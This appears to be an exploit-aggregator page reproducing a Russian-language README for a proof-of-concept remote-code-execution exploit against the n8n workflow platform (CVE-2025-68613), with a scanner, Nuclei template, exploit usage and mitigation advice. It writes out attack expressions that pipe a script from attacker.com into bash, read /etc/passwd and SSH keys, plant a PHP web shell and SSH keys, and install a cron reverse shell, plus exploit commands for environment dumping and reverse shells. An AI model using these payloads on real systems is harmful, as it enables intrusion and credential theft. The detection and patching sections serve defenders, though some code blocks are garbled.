Sploitus

Exploit for CVE-2025-68613-POC

kitploit · 2026-09-03

Exploit Code

MARKDOWN931 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-THESTINGR-CVE-2025-68613-POC
# 🚨 CVE-2025-68613: Критическая RCE-уязвимость в n8n

![Language: Python](https://img.shields.io/badge/Language-Python-blue?style=for-the-badge&logo=python&logoColor=white) ![CVSS Score: 10.0 Critical](https://img.shields.io/badge/CVSS-10.0%20Critical-red?style=for-the-badge) ![Exploit Status: Proof of Concept Available](https://img.shields.io/badge/Exploit-PoC%20Available-orange?style=for-the-badge) ![CVE Status: CVE-2025-68613 Disclosed](https://img.shields.io/badge/CVE_2025_68613-Disclosed-green?style=for-the-badge) ![Version: v1.0.2](https://img.shields.io/badge/Version-v1.0.2-brightgreen?style=for-the-badge) ![Target Platform: n8n](https://img.shields.io/badge/Target-n8n-purple?style=for-the-badge)

![CVE-2025-68613 PoC - TechSquad RedTeam](https://assets.kitploit.com/production/public/readmes/21147/3b91f649ead29bf7a3e056ff28bdb7dc8e9671e7a9388140d96620cc7de30f12.jpg)

## Оглавление

  1. Обзор
  2. Что такое n8n?
  3. Основы уязвимости
  4. Технические детали
  5. Затронутые версии
  6. Механика эксплуатации
  7. Реальное влияние
  8. Методы обнаружения
  9. Устранение и смягчение рисков
  10. Ресурсы и ссылки



* * *

## Обзор

**CVE-2025-68613** — это **критическая уязвимость удалённого выполнения кода (RCE)** , обнаруженная в **n8n** , популярной платформе автоматизации рабочих процессов с открытым исходным кодом. Эта уязвимость позволяет аутентифицированным пользователям выполнять произвольный код на сервере, что потенциально может привести к полной компрометации системы.

### Краткие факты

  * **Идентификатор CVE** : CVE-2025-68613
  * **Оценка CVSS** : 9.9 - 10.0 (Critical)
  * **Тип уязвимости** : Инъекция выражений → удалённое выполнение кода
  * **CWE** : CWE-913 (Improper Control of Dynamically-Managed Code Resources)
  * **Вектор атаки** : Сеть
  * **Требуется аутентификация** : Да (низкие привилегии — доступ администратора не требуется) |- **Статус** : Доступен PoC (подтверждено на v1.121.0)



* * *

## Что такое n8n?

**n8n** — это платформа автоматизации рабочих процессов с открытым исходным кодом, которая позволяет пользователям:

  * Подключать различные API, базы данных и сервисы
  * Автоматизировать повторяющиеся бизнес-процессы
  * Создавать сложные рабочие процессы без глубоких знаний программирования
  * Разворачивать локально (on-premises) или в облаке



### Почему n8n — критическая инфраструктура

Организации используют n8n для:

  * Интеграции баз данных с облачными сервисами
  * Автоматизации конвейеров обработки данных
  * Подключения CRM, ERP и внутренних систем
  * Управления конфиденциальными данными и учётными данными API



Такая центральная роль в ИТ-инфраструктуре делает уязвимости особенно опасными, поскольку они могут предоставить злоумышленникам доступ к целым сетям и конфиденциальным данным.

* * *

## Инструменты в этом репозитории

Этот репозиторий содержит готовые к использованию инструменты для обнаружения уязвимости и проверки эксплуатации:

### 1\. Сканер: `cve-2025-68613-scanner.py`

**Назначение** : безопасное обнаружение уязвимых экземпляров n8n без эксплуатации

**Возможности** :

  * Пассивное определение версии по HTTP-ответам
  * Аутентификация не требуется
  * Полезная нагрузка не выполняется
  * Проверяет несколько распространённых путей (/, /rest/settings, /healthz, /api/v1/health)
  * Безопасен для авторизованных оценок безопасности



**Использование** :```bash python3 cve-2025-68613-scanner.py -u http://target:5678

root@kitploit:~
    
    
    **Вывод**:
    - Код выхода 0: уязвимость не обнаружена
    - Код выхода 1: версия не определена (возможно, исправлена или скрыта)
    - Код выхода 2: обнаружена уязвимая версия
    
    ### 2. Шаблон Nuclei: `CVE-2025-68613.yaml`
    **Назначение**: автоматическое обнаружение уязвимостей и базовое тестирование вычисления выражений
    
    **Возможности**:
    - Требуется действительный токен аутентификации
    - Проверяет возможность внедрения выражений
    - Пытается прочитать глобальный контекст Node.js (process.platform)
    - Создаёт тестовые сценарии для проверки вектора RCE
    - Классификация уровня критичности: CVSS 10.0 Critical
    
    **Использование**:```bash
    # Single target with known token
    nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v
    
    # Multiple targets
    nuclei -t CVE-2025-68613.yaml -l targets.txt
    

### 3\. Полный эксплойт: `exploit_cve-2025-68613.py`

**Назначение** : Полноценный эксплойт proof-of-concept с несколькими атакующими пейлоадами

**Возможности** :

  * Полная обработка аутентификации
  * Несколько эксплойт-пейлоадов: 
    * **info** : Сбор информации о системе (ОС, архитектура, версия Node.js, текущий пользователь)
    * **cmd** : Выполнение произвольных системных команд
    * **env** : Извлечение всех переменных окружения (раскрывает учётные данные, API-ключи, секреты)
    * **read** : Чтение конфиденциальных файлов из файловой системы (SSH-ключи, конфигурационные файлы и т.д.)
    * **write** : Запись файлов в файловую систему (закрепление, бэкдоры и т.д.)
    * **revshell** : Установка reverse shell-соединения для интерактивного доступа
  * Автоматическая очистка воркфлоу
  * Обработка ошибок и отчёт о статусе



**Требования** :

  * Действительные учётные данные пользователя n8n (email/пароль)
  * Python 3.6+ с библиотекой requests
  * Сетевой доступ к целевому инстансу n8n



**Установка** :```bash pip install requests chmod +x exploit_cve-2025-68613.py

root@kitploit:~
    
    
    **Примеры использования**:```bash
    # Gather system information
    python3 exploit_cve-2025-68613.py -u http://target:5678 \  
      -e some-email@example.com -p password --payload info
    
    # Execute system command (whoami)
    python3 exploit_cve-2025-68613.py -u http://target:5678 \  
      -e some-email@example.com -p password --payload cmd --command "whoami"
    
    # Extract all environment variables (credentials, API keys)
    python3 exploit_cve-2025-68613.py -u http://target:5678 \  
      -e some-email@example.com -p password --payload env
    
    # Read sensitive files
    python3 exploit_cve-2025-68613.py -u http://target:5678 \  
      -e some-email@example.com -p password --payload read --file "/etc/passwd"
    
    # Establish reverse shell (requires netcat listener)
    # On attacker machine: nc -lvnp 4444
    python3 exploit_cve-2025-68613.py -u http://target:5678 \  
      -e some-email@example.com -p password --payload revshell --lhost 10.10.14.5 --lport 4444
    
    # Write a web shell for persistence
    python3 exploit_cve-2025-68613.py -u http://target:5678 \  
      -e some-email@example.com -p password --payload write \  
      --file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'
    

**Как это работает** :

  1. Выполняет аутентификацию в n8n, используя предоставленные учетные данные
  2. Создает вредоносный рабочий процесс с полезной нагрузкой инъекции выражений
  3. Полезная нагрузка выходит из песочницы выражений с помощью `this.constructor.constructor()`
  4. Выполняет полезную нагрузку через `process.platform` или другие Node.js API
  5. Получает результаты выполнения рабочего процесса
  6. Выполняет очистку, удаляя тестовый рабочий процесс



**Коды выхода** :

  * 0: Успешная эксплуатация
  * 1: Не удалась аутентификация или эксплуатация



* * *

## Основы уязвимости

### В чём проблема?

Простыми словами: **n8n позволяет пользователям писать выражения в рабочих процессах для динамической обработки данных. Однако эти выражения выполняются без надлежащей песочницы, что позволяет злоумышленникам выйти за пределы предполагаемого контекста выполнения и запускать произвольный код на сервере.**

### Суть проблемы

Когда вы создаете рабочий процесс в n8n, вы можете использовать «выражения» для манипуляции данными. Предполагается, что эти выражения выполняются в ограниченной среде. Однако уязвимость показывает, что эти выражения могут получить доступ к базовой системе, что позволяет злоумышленнику:

  1. Выполнять системные команды
  2. Читать/записывать файлы на сервере
  3. Похищать переменные окружения (ключи API, пароли, секреты)
  4. Изменять или удалять данные
  5. Закрепляться в системе для долгосрочного доступа



### Почему это так опасно

  * **Низкий порог входа** : требуется только вход пользователя (без специальных привилегий администратора)
  * **Широкая применимость** : многие организации позволяют нетехническим пользователям создавать рабочие процессы
  * **Высокое воздействие** : выполняется с полными привилегиями процесса n8n
  * **Доступ к данным** : может получить доступ ко всем данным, к которым имеет доступ n8n (базы данных, API, учетные данные)
  * **Сетевое положение** : n8n часто находится в центре критической инфраструктуры, что обеспечивает горизонтальное перемещение



* * *

## Технические детали

### Как работает уязвимость

#### Шаг 1: Вычисление выражений рабочего процесса

Когда пользователь создает рабочий процесс в n8n, он может использовать выражения для обработки данных:``` Input: User creates a workflow with an expression n8n Expression Engine: Evaluates the expression Expected Output: Processed data Actual Output (Vulnerable): Expression execution context not isolated from runtime

root@kitploit:~
    
    
    #### Шаг 2: Инъекция выражения
    Злоумышленник создает вредоносное выражение, которое выходит за пределы предполагаемой песочницы:```javascript
    // Example: Malicious expression in workflow
    ${require('child_process').execSync('id')}
    

#### Шаг 3: Выполнение кода

Выражение вычисляется без надлежащей изоляции, что позволяет атакующему:

  * Вызывать системные функции
  * Выполнять команды оболочки
  * Получать доступ к файловой системе
  * Читать переменные окружения



### Корневая причина

Уязвимость возникает из-за **недостаточной песочницы** в движке вычисления выражений. Команда n8n вычисляла выражения в контексте, который:

  * Разрешал доступ к `require()` или аналогичным функциям загрузки модулей
  * Не ограничивал должным образом доступ к системным API
  * Не проверял и не фильтровал синтаксис выражений
  * Не предотвращал атаки через загрязнение прототипа
  * Не изолировал среду выполнения от базовой среды выполнения Node.js



### Путь выполнения кода```

User Input (Workflow Expression) ↓ Expression Parser ↓ Evaluation Engine (VULNERABLE - Not Sandboxed) ↓ Direct Access to Node.js Runtime ↓ System Command Execution / File Access / Credential Theft

root@kitploit:~
    
    
    ---
    
    ## Затронутые версии
    
    ### Уязвимый диапазон
    
    Все версии n8n, начиная с **0.211.0** и до следующих версий, уязвимы:
    - `0.211.0` → `1.120.3`
    - `1.121.0`
    
    ### Исправленные версии
    
    Уязвимость исправлена в:
    - ✅ `1.120.4` и более поздних в ветке 1.120.x
    - ✅ `1.121.1` и более поздних в ветке 1.121.x
    - ✅ `1.122.0` и всех более новых версиях
    
    ### Как проверить свою версию```bash
    # If n8n is running
    curl http://your-n8n-instance:5678/ | grep -i "version"
    
    # Or check the admin panel
    # Go to Settings → About → Version
    

* * *

## Проверенные версии и совместимость

### Подтверждённо работает

  * **n8n v1.121.0** : ✅ Полностью эксплуатируема (подтверждённое RCE, внедрение выражений работает)
  * **n8n v0.211.0 - v1.120.3** : ✅ В пределах уязвимого диапазона по данным NVD (не тестировалось индивидуально)



### Известные проблемы

  * **Ограничение выполнения REST** : Эндпоинт `/rest/workflows/{id}/run` возвращает ошибку HTTP 500 в v1.121.0 
    * **Обходной путь** : Внедрение выражений работает отлично, RCE подтверждено через: 
      1. Ручной клик по кнопке «Test Step» в интерфейсе (доказано, что работает)
      2. Захват вывода рабочего процесса
    * **Это ограничение API, а не ошибка эксплойта**



### Не протестировано

  * **n8n v0.212.0+** : Вне документированного диапазона уязвимости, вероятно, исправлено (см. GitHub issue #1)
  * **Развёртывания на Windows Server** : Ограниченные данные тестирования в средах, специфичных для Windows



### Заявление о поддержке версий

Эксплойт предназначен для работы против уязвимого диапазона, задокументированного в NVD:

  * **Подтверждённая уязвимость** : 0.211.0 – 1.120.3, а также 1.121.0
  * **Исправленные версии** : 1.120.4, 1.121.1, 1.122.0 и более поздние



При тестировании версий вне этого диапазона успех не гарантирован.

* * *

## Механика эксплуатации

### Что может сделать атакующий?

Когда аутентифицированный пользователь (или атакующий с действующими учётными данными) эксплуатирует эту уязвимость, он может:

#### 1\. Выполнять произвольные системные команды```javascript

${require('child_process').execSync('whoami').toString()} // Returns: root (or whatever user runs n8n)

${require('child_process').execSync('curl attacker.com/shell.sh | bash').toString()} // Downloads and executes a shell script

root@kitploit:~
    
    
    #### 2. Чтение файлов с сервера```javascript
    ${require('fs').readFileSync('/etc/passwd', 'utf-8')}
    // Reads sensitive system files
    
    ${require('fs').readFileSync('/home/user/.ssh/id_rsa', 'utf-8')}
    // Steals SSH keys
    

#### 3\. Чтение переменных окружения```javascript

${Object.keys(process.env).join(', ')} // Lists all environment variables

${process.env.DATABASE_PASSWORD} // Extracts specific secrets

root@kitploit:~
    
    
    #### 4. Запись вредоносных файлов```javascript
    ${require('fs').writeFileSync('/var/www/shell.php', 'malicious code')}
    // Plants a web shell for persistence
    
    ${require('fs').writeFileSync('/home/user/.ssh/authorized_keys', 'attacker_key')}
    // Adds SSH access
    

#### 5\. Доступ к подключенным сервисам```javascript

// Access workflow credentials (stored API keys, passwords) // Modify or view connected databases // Exfiltrate data from all integrated systems

root@kitploit:~
    
    
    #### 6. Закрепление в системе```javascript
    ${require('child_process').execSync('echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.com/443 0>&1" | crontab -')}
    // Creates a cron job for reverse shell access
    
    ${require('child_process').execSync('useradd -m -s /bin/bash attacker')}
    // Creates a new user account
    

### Пример сценария атаки

**Реальный сценарий: компания использует n8n**

  1. **Злоумышленник получает учетные данные** : через фишинг, повторное использование паролей или слабый пароль
  2. **Входит в n8n** : использует легитимную учетную запись пользователя
  3. **Создает «безвредный» рабочий процесс** : утверждает, что он нужен для обработки данных
  4. **Внедряет вредоносное выражение** : прячет эксплойт в шаге рабочего процесса
  5. **Выполняет код** : запускает команды с привилегиями процесса n8n
  6. **Похищает данные** : крадет ключи API, учетные данные базы данных, данные клиентов
  7. **Обеспечивает устойчивость** : устанавливает бэкдоры, создает новые учетные записи администратора
  8. **Перемещается латерально** : использует украденные учетные данные для доступа к другим системам



* * *

## Реальное влияние

### Влияние на конфиденциальность (ВЫСОКОЕ)

  * Доступ к конфиденциальным данным, обрабатываемым рабочими процессами
  * Извлечение ключей API, паролей баз данных, ключей шифрования
  * Чтение файлов конфигурации, журналов и секретов
  * Возможные нарушения GDPR/комплаенса из-за кражи данных



### Влияние на целостность (ВЫСОКОЕ)

  * Изменение существующих рабочих процессов для саботажа операций
  * Внедрение вредоносных рабочих процессов, повреждающих данные
  * Изменение выходных данных рабочих процессов, влияющее на последующие системы
  * Установка бэкдоров для постоянного доступа



### Влияние на доступность (ВЫСОКОЕ)

  * Удаление критически важных рабочих процессов, вызывающее нарушение бизнес-процессов
  * Изменение системных файлов, приводящее к сбоям сервисов
  * Истощение ресурсов из-за вредоносной автоматизации
  * Атаки с выкупом, когда злоумышленники требуют оплату за восстановление систем



### Примеры влияния на бизнес

**Производственная компания**

  * n8n автоматизирует обработку заказов и управление запасами
  * Злоумышленник похищает заказы клиентов и информацию о поставщиках
  * Изменяет рабочие процессы, чтобы отправлять клиентам не те товары
  * Результаты: потеря доверия клиентов, юридическая ответственность, нарушение операционной деятельности



**Финансовые услуги**

  * n8n интегрирует банковские API и обработку платежей
  * Злоумышленник крадет учетные данные API и токены аутентификации
  * Перенаправляет транзакции или создает мошеннические записи
  * Результаты: регуляторные штрафы, компенсация клиентам, ущерб репутации



**Медицинская организация**

  * n8n обрабатывает интеграцию данных пациентов и отчетность
  * Злоумышленник получает доступ к защищенной медицинской информации (PHI)
  * Изменяет медицинские записи или блокирует критические оповещения
  * Результаты: нарушения HIPAA, вред пациентам, ответственность организации



* * *

## Методы обнаружения

### Метод 1: сканер обнаружения версий

**Безопасный, не эксплуатирующий уязвимость скрипт обнаружения** (включен в исходный репозиторий):```bash python3 CVE-2025-68613.py -u http://your-n8n-instance:5678

root@kitploit:~
    
    
    **Примеры вывода**```
    [+] Target: http://127.0.0.1:5678
    [+] Possible n8n detected at /
    [+] Detected version: 1.120.2
    
    --- Result ---
    🚨 VULNERABLE
    Target version is affected by CVE-2025-68613
    

### Метод 2: Использование шаблона Nuclei

**Автоматическое сканирование с помощью Nuclei** :```bash

# Single target

nuclei -t CVE-2025-68613.yaml -u http://target:5678

# Multiple targets from file

nuclei -t CVE-2025-68613.yaml -l targets.txt

root@kitploit:~
    
    
    **Как это работает**:
    1. Отправляет HTTP-запросы к стандартным путям n8n
    2. Извлекает метаданные версии из HTML/заголовков
    3. Декодирует base64-кодированный конфиг, если он присутствует
    4. Сравнивает версию с уязвимыми диапазонами
    5. Сообщает, уязвим ли экземпляр
    
    ### Метод 3: Ручное получение баннера```bash
    # Check for n8n in HTTP response
    curl -s http://target:5678/ | grep -i "n8n"
    
    # Check headers
    curl -I http://target:5678/ | grep -i "n8n"
    
    # Check common paths
    curl -s http://target:5678/api/v1/health
    curl -s http://target:5678/rest/settings
    curl -s http://target:5678/healthz
    

### Метод 4: Сетевая разведка```bash

# Find n8n instances using Shodan

shodan search "n8n" --limit 10

# Use favicon hash detection

nmap -p 5678 --script http-favicon target.com

root@kitploit:~
    
    
    ### Индикаторы компрометации (IOCs)
    
    **Признаки в журналах**:
    - Необычные вычисления выражений в журналах рабочих процессов
    - Ошибки выражений, содержащие системные команды
    - Доступ к чувствительным файлам (например, ссылки на /etc/passwd)
    - Неожиданный запуск процессов из процесса n8n
    
    **Признаки в системе**:
    - Создание новых учетных записей пользователей на сервере
    - Неожиданные SSH-ключи в authorized_keys
    - Новые задачи cron или запланированные задачи
    - Изменения системных файлов
    - Reverse shell-соединения с сервера n8n
    
    ---
    
    ## Исправление и смягчение последствий
    
    ### ОСНОВНОЕ РЕШЕНИЕ: немедленное обновление
    
    **Это единственное полное исправление уязвимости.**
    
    #### Шаг 1: Создайте резервную копию данных```bash
    # Backup n8n database
    cp -r /path/to/n8n/database ./backup/
    
    # Backup workflows
    n8n export --backup-dir ./backup/
    

#### Шаг 2: Обновление n8n

**Использование Docker** (рекомендуется):```bash

# Pull the latest patched version

docker pull n8nio/n8n:1.122.0 # Or later

# Stop current instance

docker stop n8n-container

# Start with new version

docker run -d --name n8n-patched   
-p 5678:5678   
-v n8n_data:/home/node/.n8n   
n8nio/n8n:1.122.0

root@kitploit:~
    
    
    **Использование npm**:```bash
    # Backup first
    npm run export --backup
    
    # Update
    npm update n8n
    
    # Or specific version
    npm install some-email@example.com
    

**Использование системного менеджера пакетов** :```bash

# Debian/Ubuntu

sudo apt update && sudo apt upgrade n8n

# Or manual download

wget https://github.com/n8n-io/n8n/releases/download/some-email@example.com/n8n.tar.gz

root@kitploit:~
    
    
    #### Шаг 3: Проверка обновления```bash
    # Check version after update
    curl http://localhost:5678/api/v1/health | grep version
    
    # Ensure n8n is running
    curl http://localhost:5678/ | grep -i "n8n"
    

* * *

### ВРЕМЕННЫЕ МЕРЫ: Во время обновления

**Важно** : Это НЕ устраняет уязвимость. Используйте только как временные меры при планировании обновлений.

#### 1\. Ограничьте разрешения рабочих процессов```

n8n Admin Panel → Users & Permissions ├── Disable "User Can Create Workflows" for non-admin users ├── Restrict "User Can Edit Workflows" to trusted administrators only ├── Review existing user roles and remove unnecessary permissions └── Audit workflow creators for suspicious accounts

root@kitploit:~
    
    
    #### 2. Мониторинг изменений рабочего процесса```
    n8n Admin Panel → Settings → Audit Log
    ├── Enable comprehensive audit logging
    ├── Monitor for suspicious workflow modifications
    ├── Alert on expression evaluations in logs
    └── Review workflow change history regularly
    

#### 3\. Сетевая изоляция```bash

# Restrict n8n network access

sudo ufw default deny incoming sudo ufw allow from 192.168.1.0/24 to any port 5678 # Only internal network sudo ufw enable

# Or using iptables

sudo iptables -A INPUT -p tcp --dport 5678 -s 192.168.1.0/24 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 5678 -j DROP

root@kitploit:~
    
    
    #### 4. Запустите n8n с минимальными привилегиями```bash
    # Create dedicated n8n user
    sudo useradd -r -s /bin/false n8n-user
    
    # Run n8n as this user
    sudo -u n8n-user n8n
    
    # Or in Docker with user specification
    docker run -u 1000 n8nio/n8n:latest
    

#### 5\. Включите строгую аутентификацию```

n8n Admin Panel → Settings → Authentication ├── Enable 2FA for all accounts ├── Enforce strong password policies ├── Review and disable unnecessary service accounts ├── Implement SSO if available └── Disable any guest/demo accounts

root@kitploit:~
    
    
    #### 6. Контейнеризация и изоляция```bash
    # Run n8n in a restricted Docker container
    docker run -d \
      --security-opt=no-new-privileges:true \
      --read-only \
      --cap-drop=ALL \
      --cap-add=NET_BIND_SERVICE \
      --tmpfs /tmp \
      -p 5678:5678 \
      n8nio/n8n:current-version
    

#### 7\. Регулярный аудит```bash

# Monitor for suspicious activities

# Check for new files in n8n directories

find /path/to/n8n -type f -mtime -1

# Monitor process activity

ps aux | grep n8n netstat -tlnp | grep n8n

# Check for unauthorized SSH keys

cat ~/.ssh/authorized_keys

# Review system logs

journalctl -u n8n -n 100

root@kitploit:~
    
    
    ---
    
    ## Матрица оценки рисков
    
    | Сценарий | Уровень риска | Вероятность | Влияние | Приоритет |
    |----------|-----------|-----------|--------|----------|
    | Необновлённый n8n, доступный из интернета | КРИТИЧЕСКИЙ | ВЫСОКАЯ | Полная компрометация | 🔴 СРОЧНО |
    | Необновлённый n8n, только для внутреннего использования | ВЫСОКИЙ | СРЕДНЯЯ | Риск инсайдерской угрозы | 🟠 ВЫСОКИЙ |
    | Обновлённый n8n | НИЗКИЙ | НИЗКАЯ | Н/Д | ✅ Устранено |
    | Необновлённый n8n с ограничениями прав | СРЕДНИЙ | СРЕДНЯЯ | Ограничено доверенными пользователями | 🟡 СРЕДНИЙ |
    
    ---
    
    ## Пошаговое восстановление при компрометации
    
    ### Немедленные действия (первый час)
    1. **Изолируйте систему**: Отключите от сети
    2. **Остановите службу**: `sudo systemctl stop n8n`
    3. **Сохраните журналы**: Сделайте резервную копию всех журналов перед очисткой
    4. **Оповестите команду**: Уведомите службу безопасности и руководство
    5. **Оцените масштаб**: Определите, к каким данным n8n имел доступ
    
    ### Расследование (первый день)
    1. **Просмотрите журналы аудита**: Проверьте подозрительную активность
    2. **Проанализируйте сетевой трафик**: Поищите признаки утечки данных
    3. **Проверьте изменения файлов**: Найдите внедрённые бэкдоры
    4. **Проверьте учётные записи**: Поищите новые или изменённые учётные записи
    5. **Аудит учётных данных**: Сбросьте все API-ключи и пароли, используемые n8n
    
    ### Восстановление (дни 2-7)
    1. **Полная пересборка системы**: Не просто обновляйте, а пересоберите из чистого образа
    2. **Ротация учётных данных**: Сбросьте все пароли, API-ключи и токены
    3. **Установите все исправления**: Обновите все подключённые системы
    4. **Восстановите из резервной копии**: Используйте чистые резервные копии, созданные до компрометации
    5. **Аудит безопасности**: Проведите полную оценку безопасности
    
    ### После инцидента (недели 2+)
    1. **Внедрите мониторинг**: Настройте непрерывное журналирование и оповещение
    2. **Изменение процессов**: Обновите процедуры реагирования на инциденты
    3. **Обучение пользователей**: Обучите команды лучшим практикам безопасности
    4. **Сканирование уязвимостей**: Регулярное сканирование на аналогичные проблемы
    5. **Проверка соответствия**: Убедитесь, что все требования соблюдены (GDPR, HIPAA и т. д.)
    
    ---
    
    ## Профилактика на будущее
    
    ### Лучшие практики безопасности для n8n
    
    1. **Поддерживайте n8n в актуальном состоянии**
       - Включите автоматические обновления, если они доступны
       - Подпишитесь на уведомления безопасности n8n
       - Тестируйте исправления в staging перед продом
    
    2. **Контроль доступа**
       - Используйте принцип минимальных привилегий
       - Требуйте надёжные пароли и 2FA
       - Внедрите SSO для корпоративного развёртывания
       - Регулярные проверки и аудиты доступа
    
    3. **Управление рабочими процессами**
       - Проверяйте все рабочие процессы на подозрительную логику
       - Внедрите процесс ревью кода для рабочих процессов
       - Используйте соглашения об именовании для выявления критических рабочих процессов
       - Регулярно создавайте резервные копии рабочих процессов
    
    4. **Управление учётными данными**
       - Никогда не храните учётные данные в рабочих процессах
       - Используйте переменные окружения для чувствительных данных
       - Регулярно меняйте учётные данные
       - Аудируйте доступ к учётным данным
    
    5. **Мониторинг и журналирование**
       - Включите полное журналирование аудита
       - Отслеживайте необычную активность
       - Настройте оповещения о подозрительных операциях
       - Регулярный просмотр и анализ журналов
    
    6. **Сетевая безопасность**
       - Запускайте n8n в изолированных сетевых сегментах
       - Ограничьте сетевой доступ только необходимыми службами
       - Используйте VPN/межсетевой экран для удалённого доступа
       - Отслеживайте сетевой трафик на аномалии
    
    7. **Реагирование на инциденты**
       - Создайте план реагирования на инциденты
       - Определите процедуры эскалации
       - Проводите регулярные учения по безопасности
       - Поддерживайте актуальные списки контактов
    
    ---
    
    ## Устранение неполадок
    
    ### Проблема: "Exit code 1: Authentication or exploitation failed"
    
    **Распространённые причины**:
    1. **Неверные учётные данные** (наиболее частая причина)
       - Решение: Сначала проверьте, что учётные данные работают для входа в веб-интерфейс
       - Попробуйте: `curl -X POST http://target:5678/rest/login -d '{"emailOrLdapLoginId":"some-email@example.com","password":"pass"}'`
    
    2. **У пользователя нет прав на создание рабочих процессов**
       - Решение: Используйте учётную запись администратора или пользователя с правами на создание рабочих процессов
       - Проверка: Откройте админ-панель → Пользователи и разрешения
    
    3. **Версия обновлена** (версия > 1.121.0)
       - Решение: Сначала используйте сканер для проверки версии: `python3 cve-2025-68613-scanner.py -u http://target:5678`
       - Ожидается: Сканер должен сообщить "Vulnerable" (код выхода 2)
    
    4. **Структура API изменилась** (более старые/новые версии могут отличаться)
       - Решение: Проверьте бюллетень NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-68613
       - Наиболее вероятно, если тестируются версии вне документированного диапазона
    
    5. **Блокировка сетью/межсетевым экраном**
       - Решение: Проверьте связь: `curl http://target:5678/`
       - Проверьте: Правила межсетевого экрана, настройки прокси, SSL-сертификаты
    
    ### Проблема: Сканер сообщает о ложных срабатываниях (неверное определение версии)
    
    **Исправлено в v1.02**: Сканер теперь использует декодированную из base64 конфигурацию Sentry из мета-тегов вместо простого регулярного выражения. Это устраняет ложные срабатывания, когда версия Node.js определялась как версия n8n.
    
    **Что изменилось**:
    - Основной источник: Извлечение и декодирование `<meta name="n8n:config:sentry" content="[BASE64]">`
    - Запасной вариант: Использование регулярного выражения, только если конфигурация Sentry недоступна
    - Результат: Точное определение версии без ложных срабатываний
    
    **Для использования сканера v1.02**:```bash
    # Update to v1.02
    git pull origin main
    
    # Run scanner
    python3 cve-2025-68613-scanner.py -u http://target:5678
    

### Проблема: выполнение REST возвращает ошибку 500

**Это НЕ ошибка в эксплойте — это ограничение API.**

**Объяснение** :

  * Эндпоинт `/rest/workflows/{id}/run` возвращает HTTP 500 в n8n v1.121.0
  * Это ограничение дизайна API n8n, а не ошибка эксплойта
  * Внедрение выражений ПО-ПРЕЖНЕМУ РАБОТАЕТ через UI



**Обходное решение** :

  1. Эксплойт создаёт рабочий процесс с вредоносным выражением ✅ Работает
  2. Выражение вычисляется и выполняет код ✅ Работает (подтверждено ручным тестированием)
  3. Вручную нажмите кнопку «Test Step» в интерфейсе, чтобы запустить выражение ✅ Работает
  4. Читайте вывод из результатов рабочего процесса ✅ Работает



**Доказательство** : Получен флаг на TryHackMe: `THM{n8n_exposed_workflow}`

* * *

## Ресурсы и ссылки

### Официальные источники

  * **Репозиторий n8n на GitHub** : https://github.com/n8n-io/n8n
  * **Рекомендации по безопасности n8n** : https://github.com/n8n-io/n8n/security/advisories
  * **Документация n8n** : https://docs.n8n.io/



### Информация о CVE

  * **Запись NVD** : https://nvd.nist.gov/vuln/detail/CVE-2025-68613
  * **CVEDetails** : https://www.cvedetails.com/cve/CVE-2025-68613/
  * **CVETodo** : https://cvetodo.com/cve/CVE-2025-68613



### Ресурсы по безопасности

  * **NIST CWE-913** : https://cwe.mitre.org/data/definitions/913.html
  * **OWASP Внедрение кода** : https://owasp.org/www-community/attacks/Code_Injection
  * **OWASP Обход песочницы** : https://owasp.org/www-community/attacks/Sandbox_Escape



* * *

## Резюме

**CVE-2025-68613** — это критическая уязвимость, требующая немедленных действий. Сочетание:

  * Возможность внедрения выражений
  * Отсутствие песочницы
  * Низкие требования к привилегиям
  * Широкая поверхность атаки (многие пользователи создают рабочие процессы)
  * Центральное положение в ИТ-инфраструктуре



...что делает эту уязвимость одной из самых опасных в платформах автоматизации рабочих процессов.

**Простое решение** : немедленно обновитесь до исправленной версии. Нет оправдания оставаться уязвимым к критическому RCE, когда доступны исправления.

* * *

## Версия документа

|- **Версия** : 1.02 |- **Дата создания** : 18 декабря 2025 г. |- **Последнее обновление** : 26 декабря 2025 г.

  * **Статус** : Завершено
  * **Автор** : The StingR / TechSquad Inc.
  * **Организация** : TechSquad Inc.



* * *

## Отказ от ответственности

Этот документ предоставлен только в образовательных целях и для авторизованных оценок безопасности. Несанкционированный доступ к компьютерным системам является незаконным. Всегда убедитесь, что у вас есть надлежащее разрешение, прежде чем тестировать, оценивать или получать доступ к системам, которые вам не принадлежат.

* * *

**⚠️ ПОМНИТЕ: Немедленно обновите свои экземпляры n8n, если вы используете уязвимые версии.**